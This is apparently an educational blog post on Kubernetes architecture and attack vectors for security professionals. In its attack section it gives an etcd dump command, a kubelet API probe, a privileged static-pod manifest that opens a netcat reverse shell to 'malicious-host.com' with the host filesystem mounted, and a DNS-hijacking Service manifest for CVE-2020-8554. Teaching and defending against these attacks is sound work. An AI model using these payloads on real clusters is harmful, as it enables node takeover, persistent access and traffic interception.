Introduction to Kubernetes Security for Security Professionals
Presenting the architecture of Kubernetes and its associated security threats, for security professionals, including penetration testers and DevSecOps practitioners.
This article, which I originally wrote several months ago before beginning to publish on Medium, aims to provide a high-level understanding of Kubernetes architecture and potential threats to various security professionals. While many aspects are particularly applicable to on-premise deployments, especially those related to networking, the general knowledge can also be applied in cloud-based environments.
Introduction
Kubernetes, commonly referred to as K8s, is an open-source system for automating the management of containerized applications. This system is more and more popular in modern environments, and consequently, it is encountered more frequently by individuals involved in IT security such as penetration testers or security engineers. The shorthand ‘K8s’ derives from the first letter, ‘K’, followed by the next 8 letters of ‘ubernete’, and ending with ‘s’.
This article is intended for individuals in the broader field of computer security who are keen to deepen their understanding of Kubernetes mechanisms. It provides foundational information about the architecture of K8s and explores the communication methods between its components. The topics covered relate to potential security issues concerning applications and nodes within a single cluster, but do not comprehensively address all aspects of Kubernetes security.
K8s Architecture
To understand the security aspects of a given technology, it’s essential to learn its basics such as architecture and its components with focus on communication between them. Kubernetes is a bit like a big, complex puzzle made of groups called clusters but it should be noted that one cluster is enough. Each cluster has a bunch of nodes, all connected to a main node called the control plane or master node. Think of each node as one server, it can be physical or virtual. The smallest deployable unit in Kubernetes is called a pod which can be created and managed during their lifecycle. One pod may be built from one or more containers. Pods are placed on and run by specific nodes.
The architecture of a single cluster, including API components, is presented in the diagram below.
In the following sections these components are more deeply explained.
Kube-apiserver and kubelet
Control plane and nodes communicate with each other using two main components: kube-apiserver (Kube API) and kubelet. Kube API sends requests to the nodes and does a bunch of things like managing the pods in the cluster. It works like a web service with a REST API and usually uses port 443 of the control plane. It’s important to know that it’s usually the only network port that is exposed. It might be exposed for integrations purposes. Kube API uses specific authentication mechanisms to verify the identity of users and services. These mechanisms include client certificates, bearer tokens, and authenticating proxy strategies. Additionally, there’s an option for an authenticating proxy, which acts as a middleman to validate users before they access the API. These methods ensure that only authorized entities can interact with the Kubernetes cluster, enhancing its security.
Kubelet is a service that runs on every node in Kubernetes, and it also communicates using REST API. Default configurations may allow anonymous access to kubelet, which means that unauthorized users could potentially manage the the node! When I wrote this article, there was a real-world example of this problem. The Hildegard malware, controlled by a group called TeamTNT, was actually taking advantage of insecure kubelets to install cryptojacking malware (crypto miners). To learn more about this, you can check out a report by Unit 42, which is a part of Palo Alto Networks:
Etcd
Etcd is a key-value store that provides a reliable way to store data that needs to be accessed by a distributed system or a cluster of machines. In Kubernetes it tracks every object in the cluster, storing it in a key-value format. It holds important details like user accounts, secrets, network rules, and info about pods. You’ll find etcd in the control plane node, and it’s really important that only the Kube API component can reach it inside that node. If potential attackers gets access to etcd, they could manage anything in the cluster, like create a new admin user. When I was writing this article, the only way to keep etcd safe was by utilising authentication through TLS certificates. In December 2020, Rapid7 disclosed that they identified about 2560 etcd databases exposed to the Internet on the port TCP/2379.
An interesting fact is that in the default configuration, secrets objects stored in Etcd are not encrypted or secured in any additional way. They are stored in encoded form using base64 format. In case of unauthorised access to Etcd, those secrets can be easily decoded by attackers.
Kube-scheduler
Kube-scheduler is primarily responsible for assigning newly created pods to the appropriate nodes. During allocation, it considers the required resource quantities and limits associated with the pod’s configuration. Communication with the component occurs through encrypted HTTP traffic on port 10259. However, in the default configuration, communication on port TCP/10251 takes place through unencrypted traffic without authentication and authorization!
Kube-controller-manager
Kube-controller-manager takes care of the main control processes that keep the cluster running as it should. Main responsibilities of this component are:
- Monitoring node availability and responding in case of communication loss with a node
- Ensuring the appropriate number of available pods
- Creating default objects and propagating objects within the cluster
Similar to the previously described components, kube-controller-manager exposes an HTTP service on port TCP/10257.
Cloud-controller-manager
Cloud-controller-manager in Kubernetes is a main component used in cloud environments. It lets Kubernetes link up with a cloud provider’s API and manage resources specific to that cloud. This means it can handle tasks that are unique to each cloud service, like managing storage or balancing network traffic. Essentially, it’s the bridge between your Kubernetes cluster and the cloud’s capabilities, adapting to different cloud environments. This way, cloud-specific features are handled smoothly without mixing up with the main Kubernetes code.
Potential Attack Vectors
There are different ways an attacker might try to compromise a Kubernetes environment, depending on what they can access. I would like to list three common scenarios which you may face during security reviews or penetration testing:
- The attacker doesn’t have control over any nodes or pods, but they can reach the Kubernetes components from outside e.g. via network ports.
- The attacker can run their own code inside a container, but they don’t have control over the node where the container is running.
- The attacker has taken control of one of the nodes in the cluster.
In further sections of this article, you can find some example attacks that can be performed in certain scenarios.
Unauthenticated Etcd Access
An attack of this type can be conducted by having a network connectivity to the Etcd database. In the default configuration, interacting with the database does not require authentication. If the database port is exposed, an attacker can retrieve or modify any data from the database, including secrets, tokens, and metadata associated with cluster objects.
For example, taking a backup from the database is possible using the etcdctl client with the command shown below. The $ENDPOINT variable should be replaced with IP address and PORT e.g. 127.0.0.1:2379.
ETCDCTL_API=3 etcdctl --endpoints $ENDPOINT snapshot save snapshotdbUnauthenticated Kubelet API Access
Kubelet API is exposed on TCP port 10250 by each node within the cluster. To verify whether Kubelet allows anonymous access, simply execute the following command. This command enables the listing of pods running on a specific node:
curl -sk https://$NODE_IP:10250/pods/In case of incorrect configuration, you may receive a JSON response with a list of pods, as shown in the image below:
Using the Kubelet API, you can perform the following operations:
- Execute arbitrary code within the context of a selected pod.
- Create/remove and modify resources, including pods/secrets.
Kubelet API is not well-documented, but there are open-source tools available that facilitate interaction, such as kubeletctl.
Similarly to Kubelet API, Kube-apiserver presents similar threats but potential attacks could affect whole cluster, not only single nodes. More research and details on this topic can be found in Unsecured Kubernetes Instances Could Be Vulnerable to Exploitation (paloaltonetworks.com) publication.
Access to create K8s objects through manifests files
Having the ability to write files in the Kubernetes manifest directory allows to create and modify objects in a given node of K8s without direct access to the API. By default, the K8s manifest directory is located at the following path:
/etc/kubernetes/manifests/Such vulnerability may exist in an environment where pods have volumes mounted in an insecure way giving access to the host filesystem and there is arbitrary file write or a code execution vulnerability in context of the pod. Exploiting this vulnerability may lead to taking over not only the pod but also the node.
To create a malicious pod, the attacker can place a manifest file within the manifests directory. The following manifest could be placed by an attacker to create a static Pod in K8s that establishes a reverse shell connection to our server in the domain malicious-host.com. A static pod is a pod that runs within a specific node and, and like other pods, is managed by K8s. This is one way to maintain persistent access to a compromised environment:
apiVersion: v1
kind: Pod
metadata:
name: not-malicious-name
spec:
containers:
- name: bind-shell
image: busybox
hostPID: true
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: hostvolume
command: ['nc malicious-host.com 1337 -e /bin/bash']
volumes:
- name: hostvolume
hostPath:
path: /
type: DirectoryThe YAML file defined in this way should be saved in the specified directory with an example name, such as not-malicious-pod.yaml. In addition to creating a reverse shell connection, this manifest mounts the volume /host in the Pod, providing access to the filesystem of the machine on which the pod is running. In this way, node filesystem can be accessed from the pod’s filesystem can lead to taking over the K8s node.
More about static pods can be read in K8s documentation:
Man in The Middle Techniques
In Kubernetes, the system doesn’t come with advanced built-in networking services. To let pods talk to each other, you need to set up the Container Network Interface (CNI) module. Networking configurations might be different between K8s deployments, especially they are more advanced in cloud environments.
Depending on the configuration in the Kubernetes environment, there may be a possibility of conducting a Man-in-the-Middle (MiTM) attack. Techniques such as ARP poisoning and DNS spoofing may be also present in on-premise K8s deployments, although they require a deeper understanding of how network services operate. Another interesting aspect is the vulnerability with CVE-2020–8554, present in all Kubernetes versions at the time of writing this article. This vulnerability allows the creation of a service with an external IP in a way that network traffic is redirected to this service instead of an external server. For example, the following service intercepts DNS requests to the server 8.8.8.8 and redirects to evl-dns pod.
apiVersion: v1
kind: Service
metadata:
name: mitm-dns
spec:
selector:
app: evl-dns
ports:
- name: dns
protocol: UDP
port: 53
targetPort: 53
externalIPs:
- 8.8.8.8Based on the Palo Alto publication, the vulnerability can be exploited when the following conditions are met:
- Allow non-admin Kubernetes users to create or update services, or to patch the status of services; AND
- Allow those unprivileged users to control a pod (create, update or exec to pods); OR
- Allow those unprivileged users to create or update endpoints.
As a mitigation it is recommended to restrict the access to the vulnerable features and use a webhook that will validate external IPs used in Service objects using externalip-webhook.
Summary
In this article, I’ve walked you through the architecture of Kubernetes, highlighting potential threats and attack scenarios. To add a bit more excitement, I’ve included real-life security issues and explained some exploitation techniques. This gives you a glimpse into how attackers might target Kubernetes environments. Consider this an introduction to Kubernetes security — it’s just the basics, but I believe it’s a great starting point for anyone ready to dive into the world of Kubernetes security!
If you’re looking for more K8s related articles, especially in context of development and security, let me know!
References
If you’re looking for more Application Security, DevSecOps and related technical articles, just let me know what type of content you’re interested in and Follow me to get notified about new articles as soon as they’re released! 🚀🚀🚀
You can also visit my LinkedIn or Twitter profiles, if you’re keen on speaking about technical stuff! 💬
